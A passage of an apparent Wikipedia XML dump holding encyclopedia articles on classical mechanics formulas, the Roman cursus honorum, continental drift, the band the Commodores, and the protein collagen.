: &lt;math&gt;\mathbf{v} = {d\mathbf{s} \over dt}&lt;/math&gt;

=== Acceleration ===

: &lt;math&gt;\mathbf{a}_{\mbox{average}} = \frac{\Delta\mathbf{v}}{\Delta t} &lt;/math&gt; 
: &lt;math&gt;\mathbf{a} = \frac{d\mathbf{v}}{dt} = \frac{d^2\mathbf{s}}{dt^2} &lt;/math&gt;

*Centripetal Acceleration

: &lt;math&gt; |\mathbf{a}_c | = \omega^2 R = v^2 / R &lt;/math&gt;
(''R'' = radius of the circle, &amp;omega; = ''v/R'' [[angular velocity]])

=== Momentum ===

: &lt;math&gt;\mathbf{p} = m\mathbf{v}&lt;/math&gt;

=== Force ===

:&lt;math&gt; \sum \mathbf{F} = \frac{d\mathbf{p}}{dt} = \frac{d(m\mathbf{v})}{dt} &lt;/math&gt;

:&lt;math&gt; \sum \mathbf{F} = m\mathbf{a} \quad\ &lt;/math&gt; &amp;nbsp; (Constant Mass)

=== Impulse ===

:&lt;math&gt; \mathbf{J} = \Delta \mathbf{p} = \int \mathbf{F} dt &lt;/math&gt;
:&lt;div style=&quot;vertical-align: 10%;display:inline;&quot;&gt;&lt;math&gt; \mathbf{J} = \mathbf{F} \Delta t \quad\ &lt;/math&gt;&lt;/div&gt; &amp;nbsp; if '''F''' is constant

=== [[Moment of inertia]] ===

For a single [[axis of rotation]]:
The moment of inertia for an object is the sum of the products of the mass element and the square of their distances from the axis of rotation:

&lt;math&gt;I = \sum r_i^2 m_i =\int_M r^2 \mathrm{d} m = \iiint_V r^2 \rho(x,y,z) \mathrm{d} V&lt;/math&gt;

=== [[Angular momentum]] ===

:&lt;math&gt; |L| = mvr \quad\ &lt;/math&gt; &amp;nbsp; if '''v''' is perpendicular to '''r'''

Vector form:

:&lt;math&gt; \mathbf{L} = \mathbf{r} \times \mathbf{p} = \mathbf{I}\, \omega &lt;/math&gt;

(Note: '''I''' can be treated like a vector if it is diagonalized first, but it is actually a 3&amp;times;3 matrix - a [[tensor]] of rank-2)

'''r''' is the radius vector.

=== [[Torque]] ===

:&lt;math&gt; \sum \boldsymbol{\tau} = \frac{d\mathbf{L}}{dt} &lt;/math&gt;
:&lt;math&gt; \sum \boldsymbol{\tau} = \mathbf{r} \times \mathbf{F} \quad &lt;/math&gt;
if |'''r'''| and the sine of the angle between '''r''' and '''p''' remains constant.
:&lt;math&gt; \sum \boldsymbol{\tau} = \mathbf{I} \boldsymbol{\alpha} &lt;/math&gt;
This one is very limited, more added later. '''&amp;alpha;''' = d'''&amp;omega;'''/dt

=== Precession ===

=== Energy ===
''m'' is here constant.

:&lt;math&gt; \Delta E_k = \int \mathbf{F}_{\mbox{net}} \cdot d\mathbf{s} = \int \mathbf{v} \cdot d\mathbf{p} = \begin{matrix}\frac{1}{2}\end{matrix} mv^2 - \begin{matrix}\frac{1}{2}\end{matrix} m{v_0}^2 \quad\ &lt;/math&gt;    

:&lt;math&gt; \Delta E_p = mgh \quad\  \,\!&lt;/math&gt; in field of gravity

=== Central Force Motion ===

: &lt;math&gt;\frac{d^2}{d\theta^2}\left(\frac{1}{\mathbf{r}}\right) + \frac{1}{\mathbf{r}} = -\frac{\mu\mathbf{r}^2}{\mathbf{l}^2}\mathbf{F}(\mathbf{r})&lt;/math&gt;



== Useful derived equations ==

=== Position of an accelerating body ===

:&lt;math&gt; \mathbf{s}(t) = \begin{matrix}\frac{1}{2}\end{matrix} \mathbf{a} t^2 + \mathbf{v}_0 t + \mathbf{s}_0 \quad\ &lt;/math&gt; &amp;nbsp; if '''a''' is constant.

=== Equation for velocity ===

:&lt;math&gt; v^2 =v_0^2 + 2\mathbf{a} \cdot \Delta s&lt;/math&gt;
: 
[[Category:Classical mechanics]]

[[de:Formelsammlung Mechanik]]
[[ko:역학 공식집]]</text>
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  <page>
    <title>Cursus honorum</title>
    <id>6051</id>
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      <minor />
      <comment>Spelling</comment>
      <text xml:space="preserve">{{Roman government}}
The '''cursus honorum''' ([[Latin language|Latin]]: &quot;succession of magistracies&quot;) was the sequential order of public offices held by aspiring [[politician]]s in both the [[Roman Republic]] and the early [[Roman Empire|Empire]]. It was designed for men of [[Roman senate|senatorial]] rank. The ''cursus honorum'' comprised a mixture of military and political administration posts. Each office had a minimum age for [[election]]. There were minimum intervals between holding successive offices and laws forbade repeating an office.  These rules were altered and flagrantly ignored in the course of the last century of the Republic. For example, [[Marius|Gaius Marius]] held consulships for five years in a row between [[104 BC|104]] and [[100 BC]]. Officially presented as opportunities for [[public service]], the offices often became mere opportunities for self-aggrandizement. The reforms of [[Lucius Cornelius Sulla|Sulla]] required a 2-year period between holding offices or before another term in the same office.

In Rome, there was nothing resembling the modern [[political party]]. Candidates were elected based on their familial and personal reputations. Candidates from older, established families were favoured because they could use their ancestor's feats as electoral [[propaganda]]. Though political parties weren't established, in the late Republic, factions such as the [[Populares]] and [[Optimates]] were developed. These factions lacked any real structure, just represented groups of individuals that were either favored the [[Roman assemblies|Popular Assemblies]] or the [[Roman Senate|Senate]] as the chief governing body.

To have held each office at the youngest possible age (''in suo anno,'' &quot;in his year&quot;) was considered a great political success, since to miss out on a praetorship at 39 meant that one could not become consul at 42.  [[Cicero]] expressed extreme pride both in being a ''[[novus homo]]'' (&quot;new man&quot;) who became consul though none of his ancestors had ever served as a consul, and in having become consul &quot;in his year&quot;.



==Military Tribune==
The ''cursus honorum'' officially began with ten years of military duty in the Roman cavalry (the ''[[equites]]'') or in the staff of a general who was a relative or a friend of the family. [[Nepotism]] was not condemned; it was an integral part of the system. A more prestigious position was that of a [[tribune|military tribune]]. 24 men at the age of around 20 were elected by the [[Roman assemblies|Tribal Assembly]] to serve as a legionary commander in one of the four consular legions, with six to each. These ten years were supposed to be mandatory to qualify for political office, but, in practice, the rule was not rigidly applied.

The following steps of the ''cursus honorum'' were achieved by direct election every year. 

==Quaestor==
The first official post was that of ''[[quaestor]]''. Candidates had to be at least 30 years old. However, men of [[patrician]] rank could subtract two years from this and other minimum age requirements. Twenty quaestors served in the financial administration at Rome or as second-in-command to a governor in the provinces. They could also serve as the pay master for a legion. A young man who obtained this job was expected to become a very important official. An additional task of all quaestors was the supervision of public games. Also, election to quaestor brought automatic membership in the [[Roman senate|Senate]] starting from the late republic. As a quaestor, an official was allowed to wear the [[toga|toga praetexta]], but were not escorted by [[lictor]]s, nor did they possess [[imperium]].

==Aediles==
At 36 years of age, former quaestors could stand for election to one of the [[aedile]] positions. Of these aediles, two were plebian and two were patrician, with the patrician aediles called Curule Aediles. The plebeian aediles were elected by the [[Plebeian Council]] and the curule aediles were either elected by the [[Tribal Assembly]] or appointed by the reigning consul. The aediles had administrative responsibilities in Rome. They had to take care of the temples (whence their title, from the Latin ''aedes'', &quot;temple&quot;) they organized games and were responsible for the maintenance of the public buildings in Rome. Moreover, they took charge of Rome's water and food supplies; in their capacity as market superintendents, they served sometimes as judges in mercantile affairs. 

The Aedile was the supervisor of public works. He oversaw the public works, temples and markets. Therefore the Aediles would have been in some cooperation with the current Censors, who had similar or related duties. Also they oversaw the organization of festivals and games (''ludi''), which made this a very sought after office for a career minded politician of the late republic, as it was a good means of gaining popularity by staging spectacles. 

Curule Aediles were added at a later date in the 4th century, and their duties do not differ substantially from plebeian aediles.  However, unlike plebeian aediles, curule aediles were allowed certain symbols of rank--the ''[[sella curulis]]'' or 'curule chair,' for example--and only patricians could stand for election to curule aedile.

Each year only two were elected, and they alternated years; two plebeian aediles one year, two curule aediles the next, and so on.

While part of the ''cursus honorum'', this step was optional and not required to hold future offices. Though the office was usually held after the [[quaestor]]ship and before the [[praetor]]ship, there are some cases with former praetors serving as aediles.

==Praetor==
{{main|Praetor}}

After holding either the office of Quaestor or Aedile, a man of 39 years  could run for [[Praetor]]. The number of Praetors elected varied through history, generally increasing with time.  During the republic, six or eight were generally elected each year to serve judicial functions throughout Rome and other governmental responsibilities. In the absence of the Consuls, a Praetor would be given command of the garrison in Rome or in Italy. Also, a Praetor could exercise the functions of the Consuls throughout Rome, but their main function was that of a judge. They would preside over trials involving criminal acts as well as grant court orders or validate &quot;illegal&quot; acts as acts of administering justice.  As a Praetor, a magistrate was escorted by six lictors, own imperium, and would wear the toga praetexta. After a term as Praetor, the magistrate would serve as a provincial governor in the office of Propraetor, owning Propraetor imperium, commanding the province’s legions, and possessed ultimate authority within their province(s).

Of all the Praetors, two were more prestigious then the others. The first was the Praetor Peregrinus, who was the chief judge in trials involving one or more foreigners. The other was the Praetor Urbanus, the chief judicial office in Rome. He had the power to overturn any verdict by any other courts, as well as the judge in cases involving criminal charges against provincial governors. The Praetor Urbanus was not allowed to leave the city for more than ten days. If one of these two Praetors was absent from Rome, the other would perform the duties of both.

==Consul==
{{main|Consul}}

The office of [[consul]] was the most prestigious of all and represented the summit of a successful career. The minimum age was 42 for plebians and 40 for patricians. The names of the two elected consuls identified the year. Consuls were responsible for the city's political agenda, commanded large-scale armies and controlled important provinces. The consuls served for only one year (to prevent corruption) and could only rule when they agreed, because each consul could veto the other one's decision. 

The consuls would alternate monthly as the chairmen of the Senate. They also were the supreme commander in the Roman army, with both being granted two legions during their consular year. Consuls also exercised the highest juridical power in the Republic, being the only office with the power to override the decisions of the Praetor Urbanus. Only laws and the decrees of the Senate or the People's assembly limited their powers, and only the veto of a fellow consul or a tribune of the plebs could supersede their decisions. 

A consul was escorted by twelve lictors, owned imperium and wore the toga praetexta. Because the consul was the highest executive office within the Republic, they had the power to veto any action or proposal by any other magistrate, save that of the Tribune of the Plebs. After a consulship, a consul was assigned one of more provinces and acted as the governor in the same way that a Propraetor, only owing Proconsular imperium. A second consulship could only be attempted after an interval of 10 years to prevent one man holding too much power.

==Governor==
{{main|Roman Governor}}

Though no part of the Cursus Honorum, upon completing a term as either Praetor or Consul, an officer was required to serve a term as Propraetor and Proconsul, respectively, in one of Rome's many [[Roman province|provinces]]. These Propraetors and Proconsuls held near autocratic authority within their selected province or provinces. Because each governor held equal imperium to the equivalent magistrate, they were escorted by the same number of lictors and could only be vetoed by a reigning Consul or Praetor. Their abilities to govern were only limited by the decrees of the Senate or the [[Roman assemblies|people's assemblies]], and the [[Tribune|Tribune of the Plebs]] were unable to veto their acts as long as the governor remained at least a mile outside of Rome.

==Censor==
After consul, the next step in the Cursus Honorum was the office of [[censor]]. This was the only office in the Roman Republic whose term was a period of 18 months instead of the usual 12. Censors were elected every five years and although the office held no military [[imperium]], it was considered a great honor. The censors took a regular census of the people and then apportioned the citizens into voting classes on the basis of income and tribal affiliation. The censors enrolled new citizens in tribes and voting classes as well. The censors were also in charge of the membership roll of the Senate, every five years adding new senators who had been elected to the requisite offices. Censors could also remove unworthy members from the senate. This ability was lost during the dictatorship of [[Sulla]]. Censors were also responsible for construction of public buildings and the moral status of the city.

Censors also had financial duties, in that they had to put out to tender projects that were to be financed by the state. Also, the censors were in charge of the leasing out of conquered land for public use and auction. Though this office owned no imperium, meaning no lictors for protection, they were allowed to wear the toga praetexta.

==Tribune of the Plebs==
{{main|Tribune of the Plebs}}
Although officially not part of the Cursus Honorum, the office of [[Tribune|Tribune of the Plebs]] was an important step in the political career of [[plebeians]]. The Tribune was an office created to protect the right of the common man in Roman politics and served as the head of the [[Plebeian Council]]. Those who held the office were granted sacrosanctity (the right to be legally protected from any physical harm), the power of rescue any plebeian from the hands of a patrician magistrate, and the right to veto any act or proposal of any magistrate, including another tribune of the people and the consuls. The tribune also had the power to exercise capital punishment against any person who interfered in the performance of his duties. The tribunes could even convene a Senate meeting and lay legislation before it and arrest magistrates. Their houses had to remain open for visitors even during the night, and they were not allowed to be more than a days' journey from Rome. Due to their unique power of sacrosanctity, the Tribune had no need for lictors for protection and owned no imperium, nor could they wear the toga praetexta.

==Princeps senatus==
Another office officially out of the ''cursus honorum'' was the ''[[princeps senatus]]'', and was an extremely prestigious office for a patrician. The ''princeps senatus'' served as the leader of the Senate and was chosen to serve a five year term by each pair of Censors every five years. Censors could, however, confirm a ''princeps senatus'' for a period of another five years. The ''princeps senatus'' was chosen from all Patricians who had served as a Consul, with former Censors usually holding the office.  The office originally granted the holder the ability to speak first at session on the topic presented by the presiding magistrate but eventually gained the power to open and close the senate sessions, decide the agenda, decide where the session should take place, impose order and other rules of the session, meet in the name of the senate with embassies of foreign countries, and write in the name of the senate letters and dispatches. This office, like the Tribune, did not own ''imperium'', was not escorted by lictors, and could not wear the ''toga praetexta''.

==Dictator and Master of the Horse==
{{main|Roman Dictator}}

Of all the offices within the Roman Republic, none granted as much power and authority as the position of [[Roman Dictator|Dictator]], known as the Master of the People. In times of emergencies, the Senate would declare that a dictator was required, and the current consuls would appoint a dictator, and this was the only decision that could not be vetoed by the Tribune of the Plebs. The dictator was the sole exception to the Roman legal principles of having multiple magistrate in the same office and being legally able to be held to answer for actions in office. There could never be more than one dictator at any one time for any reason, and no dictator could ever be held legally responsible for any action during his time in office for any reason. The dictator was the highest magistrate in degree of imperium and was attended by 24 lictors. Though his term lasted only 6 months instead of 12, all other magistrates were suspended, granting the dictator absolute authority in both civil and military matters through out the Republic.

When a Dictator entered office, he appointed a [[Master of the Horse]] to serve as his second-in-command, whose office ceased to exist once the Dictator left office. The Master of the Horse held Praetorian imperium, was attended by six lictors, and was charged with assisting the Dictator in managing the State. When the Dictator was away from Rome, the Master of the Horse usually remained behind to administer the city. The Master of the Horse, like the Dictator, had unchangeable authority in all civil and military affairs, with his decisions only being overturned by the Dictator himself.

== See also ==
* [[Career]]
* [[List of Ancient Rome-related topics]]
* [[Political institutions of Rome]]
* [[Roman Empire]]
* [[Roman Republic]]
* [[Roman senate]]

==External links==
*[http://www.vroma.org/~bmcmanus/romangvt.html Diagram of the ''cursus honorum'']

[[Category:Ancient Rome]]
[[Category:Roman law]]

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    <title>Continental drift</title>
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      <text xml:space="preserve">[[Image:pangea_animation_03.gif|right|frame|Portrayal of shifting continents]]
The concept of '''continental drift''' was first proposed by [[Alfred Wegener]].  In [[1912]] he noticed that the shapes of continents on either side of the [[Atlantic Ocean]] seem to fit together (for example, Africa and South America). [[Francis Bacon]], [[Antonio Snider-Pellegrini]], [[Benjamin Franklin]], and others had noted much the same thing earlier. The similarity of southern continent [[fossil]] [[Fauna (animals)|faunae]] and some geological formations had led a relatively small number of Southern hemisphere geologists to conjecture as early as 1900 that all the continents had once been joined into a [[supercontinent]] known as [[Pangaea]]. The concept was initially ridiculed by most geologists, who felt that an explanation of how a continent drifted was a prerequisite and that the lack of one made the idea of drifting continents wholly unreasonable. The theory received support through the controversial years from [[South Africa]]n geologist [[Alexander Du Toit]] as well as from [[Arthur Holmes]]. The idea of continental drift did not become widely accepted as [[theory]] until the 1950s in Europe.  By the 1960s, geological research conducted by [[Robert S. Dietz]], [[Bruce C. Heezen|Bruce Heezen]], and [[Harry Hess]] along with a rekindling of the theory including a mechanism by [[J. Tuzo Wilson]] led to acceptance among North American geologists.

The hypothesis of continental drift became part of the larger theory of plate tectonics.  This article deals mainly with the historical development of the continental drift hypothesis before [[1950]].  ''See'': '''[[plate tectonics]]''' for information on current ideas underlying concepts of continental drift.

== Various data ==
South America and Africa are moving apart at an average of [[Centimetre|5.7 cm]] per year, due to the [[seafloor spreading]] along the [[Mid-Atlantic Ridge]].  This is comparable to the growth speed of a fingernail.

The fastest recorded seafloor spreading takes place along the [[East Pacific Rise]] at 17.2 cm per year.

== Evidence for continental drift ==
{{seesubarticle|Plate tectonics}}
*[[Sir Francis Bacon]] first noticed this peculiarity in the 17th century.
''Note: This section contains evidence available to Wegener's contemporaries and predecessors''

[[Image:Snider-Pellegrini Wegener fossil map.gif|thumb|right|Fossil patterns across continents.]]
Evidence for continental drift is now extensive, in the form of plant and animal [[fossil]]s of the same age found around different continent shores, suggesting that these shores were once joined. For example the fossils of the freshwater [[crocodile]] found in Brazil and South Africa. Another illustrative example is the discovery of fossils of the aquatic [[reptile]] ''[[Lystrosaurus]]'' from [[Rock (geology)|rock]]s of the same age from locations in [[South America]], [[Africa]], and [[Antarctica]]. There is also living evidence - the same animals being found on two continents. An example of this is a particular [[earthworm]] found in South America and South Africa.

The complementary shapes of the facing sides of South America and Africa is obvious, but is a temporary coincidence.  In millions of years, seafloor spreading, continental drift, and other forces of [[Tectonophysics|tectonophysics]] will further separate and rotate those two continents.  It was this temporary feature which inspired [[Alfred Wegener]] to study what he defined as continental drift.

== Permo-Carboniferous ==
Permo-Carboniferous was a period of great glaciation that occurred about 250 million years ago. It is one of the many ice ages that has occurred on this Earth. This is also an era that has been used to submit proof that the continents were once a large land mass called [[pangaea]]. Permo-Carboniferous rocks are widely distributed in pangaea. The widespread distribution of Permo-Carboniferous glacial sediments in South America, Africa, Madagascar, Arabia, India, Antarctica and Australia was one of the major pieces of evidence for the theory of continental drift. Glacial activity spanned virtually the whole of Carboniferous and Early Permian time (A.G. Smith 1997). Toward the end of the Carboniferous, and around 290 million years ago, Gondwanda hovered over the south polar regions, where glacial centres expanded across the continents, as evidenced by glacial deposits of tillites along with striations in ancient rocks. Those heavily grooved by the advancing glaciers showed lines of ice flow away from the equator and toward the poles, which is the opposite direction if the continents were situated where they are today. Overall, the southern continents drifted together over the South Pole, and massive ice sheets radiating outward from a central point crossed the present continental boundaries. The Permo-Carboniferous ice sheet is so extensive that it can fit within a latitude circle of 50 degrees (A.G.Smith 1997)
(Rahul Megharaj 1985).

== The debate over continental drift ==
Before [[geophysics|geophysical]] evidence started accumulating after [[World War II]], the idea of continental drift caused sharp disagreement among geologists.  Wegener had introduced his theory in 1912 at a meeting of the German Geological Association.  His paper was published that year and expanded into a book in 1915.  In 1921 the Berlin Geological Society held a symposium on the theory.  In 1922 Wegener's book was translated into English and then it received a wider audience.  In 1923 the theory was discussed at conferences by [[Geological Society of France]], the Geological Section of the [[British Association for the Advancement of Science]], and the [[Royal Geological Society]].  The theory was carefully but critically reviewed in the journal ''Nature'' by [[Philip Lake]].  On [[November 15]], [[1926]], the [[American Association of Petroleum Geologists]] (AAPG) held a symposium at which the continental drift hypothesis was vigorously debated.  The resulting papers were published in 1928 under the title ''Theory of continental drift''.  Wegener himself contributed a paper to this volume.

One of the main problems with Wegener's theory was that he believed that the continents &quot;plowed&quot; through the rocks of the ocean basins.  Most geologists did not believe that this could be possible.  In addition, Wegener did not have an acceptable theory of the forces that caused the continents to drift.  He also ignored counterarguements and evidence contrary to his theory and seemed too willing to interpret ambiguous evidence as being favorable to his theory (Williams 2000:59).

[[Plate tectonics]], a modern update of the old ideas of Wegener about &quot;plowing&quot; continents, accommodates continental motion through the mechanism of [[seafloor spreading]].  New rock is created by volcanism at mid-ocean ridges and returned to the Earth's mantle at ocean trenches.  Remarkably, in the 1928 AAPG volume, [[G. A. F. Molengraaf]] of the Delft Institute (now [[Delft University of Technology|University]]) of Technology proposed a recognisable form of seafloor spreading in order to account for the opening of the [[Atlantic Ocean]] as well as the [[East Africa Rift]].  Arthur Holmes (an early supporter of Wegener) suggested that the movement of continents was the result of convection currents driven by the heat of the interior of the Earth, rather than the continents floating on the mantle.  In the words of [[Carl Sagan]] (1995:302-03), it is more like the continents are being carried on a conveyor belt than floating or drifting.  The ideas of  Molengraaf and of Holmes led to the theory of plate tectonics, which replaced the theory of continental drift, and became the accepted theory in the 1960s (based on data that started to accumulate in the late 1950s).

However, acceptance was gradual. Nowadays it is universally supported; but even in 1977 a textbook could write the relatively weak: &quot;a poll of geologists now would probably show a substantial majority who favor the idea of drift&quot; and devote a section to a serious consideration of the objections to the theory (Davis, 1977).

== Further reading ==
* Friedlander, Michael W. ''At the Fringes of Science'', pages 21-26, Westview, 1995, ISBN 0-8133-2200-6.  1998 edition with new epilog: ISBN 0-8133-9060-5.

* Le Grand, H. E. ''Drifting Continents and Shifting Theories'', Cambridge University, 1988, ISBN 0521311055 (paperback) and ISBN 0521322103 (hardback).

* Sagan, Carl.  ''[[The Demon-Haunted World]], Science As a Candle in the Dark''. Ballantine Books, March 1997 ISBN 0345409469. 1996 hardback edition: Random House, ISBN 0-394-53512-X.  302-03.

== References ==
* Davis, Richard A. ''Principles of Oceanography'', 2nd edition, 1977, [[Addison-Wesley]]. ISBN 0-201-01464-5
* [[William F. Williams]], editor (2000). ''Encyclopedia of Pseudoscience: From Alien Abductions to Zone Therapy''.  [[Facts on File]].  ISBN 0-8160-3351-X.

== External links ==
*[http://www.ux1.eiu.edu/~cfjps/1300/cont_drift.html A brief introduction to Plate Tectonics, based on the work of Alfred Wegener.]
*[http://www.scotese.com/earth.htm Maps of continental drift, from the Precambrian to the future]

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  <page>
    <title>Commodores</title>
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      <text xml:space="preserve">'''The Commodores''' were a highly successful [[Soul music|soul]]/[[funk]] band in the [[1970]]s. They met as [[freshmen]] at [[Tuskegee University|Tuskegee Institute]], and signed to [[Motown]] having first caught the [[public]] eye supporting [[The Jackson Five]] on tour. 

==Original Band Personnel==

* [[Lionel Richie]] ([[vocals]], [[saxophone]], [[piano]]) - born on [[20 June]], [[1949]], in Tuskegee, Alabama.
* [[Thomas McClary]] ([[lead guitar]]) - born on [[6 October]], [[1950]], in [[Eustis]], [[Florida]].
* [[Milan Williams]] ([[Keyboard instrument|keyboards]]) - born on [[28 March]], [[1948]], in [[Mississippi]].
* William King ([[trumpet]]) - born on [[30 January]], [[1949]], in [[Florida]].
* [[Ronald La Pread]] ([[bass guitar]]) - born on [[4 September]], [[1946]], in [[Alabama]].
* [[Walter Orange]] ([[vocals]], [[drums]]) - born on [[10 December]], [[1946]], in [[Florida]].

==Biography==

The group are perhaps best known for their [[ballads]] such as &quot;Easy&quot; &amp; &quot;Three Times a Lady&quot;, which are not, however, considered representative of their output. Usually, they recorded funky, driven dance floor hits including &quot;Brick House&quot;, &quot;Fancy Dancer&quot;, and &quot;Slippery When Wet&quot;, amongst others. Their song &quot;Oh No&quot; was highlighted in the movie ''[[The Last American Virgin]]''. Later, &quot;Machine Gun&quot;, the [[instrumental]] title track from their debut album, become a staple at American sporting events, and has similarly been featured in many films, including ''[[Boogie Nights]]''. Another instrumental, &quot;[[Cebu Province|Cebu]]&quot; (named after an island in the [[Philippines]]) later became a sample in the [[Quiet Storm]] format.
Band members typically traded lead vocal duties. After [[Lionel Richie]] left to presue a solo career, former [[Heatwave (band)|Heatwave]] [[singer]] [[J.D. Nicholas]] assumed his place in the group.  However, with the exception of the Grammy winning &quot;Nightshift,&quot; the band never achieved the same level of success it enjoyed with Richie.  Ironically, &quot;Nightshift&quot; won the Commodores their only [[Grammy]] for [[Grammy Award for Best R&amp;B Performance by a Duo or Group with Vocals| Best R&amp;B Performance by a Duo or Group With Vocals]].

Over time, founding members began leaving; McClary (1982, shortly after Richie left), LaPread (1986), and Williams, (1989). The group also gradually abandoned their funk roots and moved into the more commercial [[disco]] arena.



The Commodores were inducted into the [[Vocal Group Hall of Fame]] in [[2003]].

==Discography==

* (1974) ''[[Machine Gun (album)|Machine Gun]]'' 
* (1975) ''[[Caught in the Act (Commodores album)|Caught in the Act]]'' 
* (1975) ''[[Movin' On]]'' 
* (1976) ''[[Hot On The Tracks]]''  
* (1977) ''[[Commodores (album)|Commodores]]'' 
* (1977) ''[[Zoom (Commodores album)|Zoom]]'' 
* (1978) ''[[Natural High]]'' 
* (1979) ''[[Midnight Magic]]'' 
* (1980) ''[[Heroes (Commodores album)|Heroes]]'' 
* (1981) ''[[In The Pocket]]'' 
* (1983) ''[[Commodores 13]]'' 
* (1985) ''[[Nightshift (album)|Nightshift]]''  

The group left [[Motown]] in [[1986]] for [[Polydor]], and released several additional albums, primarily compilations.

==Samples==

*[[Media:BrickHouse.ogg|Download sample]] &quot;Brick House&quot; from ''[[Commodores (album)|Commodores]]''

== External links ==

*[http://www.vghf.com/Inductees/commodores.htm Vocal Group Hall of Fame page on The Commodores]

[[Category:American musical groups|Commodores]]
[[Category:Funk musical groups|Commodores]]
[[Category:Motown performers|Commodores]]
[[Category:Popular musical groups|Commodores]]
[[Category:R&amp;B musical groups|Commodores]]
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    <title>Collagen</title>
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      <text xml:space="preserve">[[Image:Collagentriplehelix.png|thumb|right|99px|Tropocollagen triple helix.]]
'''Collagen''' is the main [[protein]] of [[connective tissue]] in [[animal]]s and the most abundant protein in [[mammal]]s, making up about 1/4 of the total. It is one of the long, [[fibrous protein|fibrous structural proteins]] whose functions are quite different from those of [[globular protein]]s such as [[enzyme]]s. It is tough and inextensible, with great [[tensile strength]], and is the main component of [[cartilage]], [[ligament]]s and [[tendon]]s, and the main protein component of [[bone]] and [[tooth|teeth]]. Along with soft [[keratin]], it is responsible for [[skin]] strength and elasticity, and its degradation leads to [[wrinkle]]s that accompany [[ageing|aging]]. It strengthens [[blood vessel]]s and plays a role in [[biological tissue|tissue]] development. It is present in the [[cornea]] and lens of the [[eye]] in [[crystal]]line form. It is also used in [[plastic surgery|cosmetic surgery]] — for example [[lip enhancement]] — although [[Hyaluronan|hyaluronic acid]] is now often used instead.

==Composition and structure==

Collagen has an unusual [[amino acid]] composition and sequence. [[Glycine]] (Gly) is found at almost every third [[residue]], and collagen contains large amounts of [[proline]], (Pro) — as well as two uncommon derivative amino acids not directly inserted during [[translation (genetics)|translation]] of [[messenger RNA|mRNA]]: [[hydroxyproline]] (Hypro) and [[hydroxylysine]]. Prolines and [[lysine]]s at specific locations relative to glycine are modified post-translationally by different enzymes, both of which require [[vitamin C]] as a [[cofactor (biochemistry)|cofactor]]. Vitamin C deficiency causes [[scurvy]], a serious and painful [[disease]] in which defective collagen prevents the formation of strong [[connective tissue]]. [[Gingiva|Gums]] deteriorate and bleed, with loss of teeth; skin discolors, and [[wound]]s do not [[healing|heal]]. This was notorious in the British [[Royal Navy]], where [[sailor]]s were deprived of fresh [[fruit]]s and [[vegetable]]s during long voyages. Depending on the type of collagen, varying numbers of hydroxylysines have [[disaccharide]]s attached to them.

The ''tropocollagen'' subunit is a rod about 300 nm long and 1.5 nm in diameter, made up of three [[polypeptide]] strands, each of which is a left-handed [[helix]]. They are twisted together into a right-handed coiled coil, a triple helix, a cooperative [[quaternary structure]] stabilized by numerous [[hydrogen bond]]s. Tropocollagen [[protein subunit|subunits]] spontaneously [[self-assembly|self-assemble]], with regularly staggered ends, into even larger arrays in the [[extracellular]] spaces of tissues. There is some [[covalent bond|covalent]] crosslinking within the triple helices, and a variable amount of covalent crosslinking between tropocollagen helices, to form the different types of collagen found in different mature tissues — similar to the situation found with the [[keratin|α-keratins]] in [[hair]]. Collagen's in[[soluble|solubility]] was a barrier to study until it was found that tropocollagen from young animals can be extracted because it is not yet fully [[cross-link|crosslinked]].

A distinctive feature of collagen is the regular arrangement of amino acids in each of the three chains of these collagen subunits. The sequence often follows the pattern Gly-X-Pro or Gly-X-Hypro, where X may be any of various other amino acid residues. Gly-Pro-Hypro occurs frequently. This kind of regular repetition and high glycine content is found in only a few other fibrous proteins, such as [[silk]] fibroin. 75-80% of silk is (approximately) -Gly-Ala-Gly-Ala- with 10% [[serine]] — and [[elastin]] is rich in glycine, proline, and alanine (Ala), whose [[side chain|side group]] is a small, inert [[methyl]]. Such high glycine and regular repetitions are never found in globular proteins. [[Chemical reaction|Chemically-reactive]] side groups are not needed in structural proteins as they are in enzymes and [[transport protein]]s. The high content of Pro and Hypro rings, with their geometrically constrained [[carboxyl]] and (secondary) [[amino]] groups, accounts for the tendency of the individual polypeptide strands to form left-handed helices spontaneously, without any intrachain hydrogen bonding. The triple helix tightens under tension, resisting stretching, making collagen inextensible.

Because glycine is the smallest amino acid, it plays a unique role in fibrous structural proteins. In collagen, Gly is required at every third position because the assembly of the triple helix puts this residue at the interior (axis) of the helix, where there is no space for a larger side group than glycine’s single [[hydrogen]] [[atom]]. For the same reason, the rings of the Pro and Hypro must point outward. These two amino acids thermally stabilize the triple helix — Hypro even more so than Pro — and less of them is required in animals such as [[fish]], whose [[thermoregulation|body temperatures]] are low. 

In bone, entire collagen triple helices lie in a parallel, staggered array. 40 nm gaps between the ends of the tropocollagen subunits probably serve as nucleation sites for the deposition of long, hard, fine crystals of the mineral component, which is (approximately) [[hydroxylapatite|hydroxyapatite]], Ca&lt;sub&gt;5&lt;/sub&gt;(PO&lt;sub&gt;4&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;(OH), with some [[phosphate]]. It is in this way that certain kinds of cartilage turn into bone. Collagen gives bone its elasticity and contributes to [[bone fracture|fracture]] resistance.

==Industrial uses==

If collagen is solubilized and heated, the three tropocollagen strands separate into globular, [[random coil]]s, producing [[gelatin]], which is used in many [[food]]s, including flavored [[dessert]]s. It is not a good [[diet (nutrition)|diet]]ary source for synthesizing bodily proteins in general because it lacks adequate amounts of most of the [[essential amino acid]]s.

Collagen means &quot;[[animal glue|glue]] producer&quot; (''kolla'' is Greek for glue), derived from the early process of boiling the skin, [[claw|hooves]] and [[tendon|sinews]] of [[horse]]s and other animals to obtain glue. Collagen adhesive was used by [[Egypt]]ians about 4,000 years ago, and [[Native Americans in the United States|Native Americans]] used it in [[bow (weapon)|bows]] about 1,500 years ago. The oldest glue in the world, [[radiocarbon dating|carbon dated]] as more than 8,000 years old, was found to be collagen — used as a protective lining on rope baskets and [[embroidery|embroidered]] [[fabric]]s, and to hold [[list of eating utensils|utensils]] together; also in crisscross decorations on [[human]] [[skull]]s.[http://www.archaeology.org/online/news/glue.html] Collagen normally converts to gelatin, but survived due to the dry conditions. Animal glues are [[thermoplastic]], softening again upon reheating, and so they are still used in making [[musical instrument]]s such as fine [[violin]]s and [[guitar]]s, which may have to be reopened for repairs — an application incompatible with tough, [[chemical synthesis|synthetic]] [[plastic]] adhesives, which are permanent. Animal sinews and skins, including [[leather]], have been used to make useful articles for millennia.

